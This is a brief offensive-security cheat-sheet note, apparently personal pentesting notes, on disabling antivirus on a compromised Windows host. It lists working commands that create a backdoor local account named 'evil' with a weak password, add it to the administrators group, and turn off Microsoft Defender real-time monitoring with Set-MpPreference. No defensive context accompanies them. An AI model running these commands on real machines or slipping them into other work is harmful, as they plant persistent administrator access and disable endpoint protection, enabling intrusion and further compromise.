Disable AV

If SYSTEM, just disable AV

Add user to RDP, disable AV through RDP

net user evil Password123! /add
net localgroup administrators evil /add

Sometimes its possible to disable AV through the following PS command

Set-MpPreference -DisableRealtimeMonitoring $true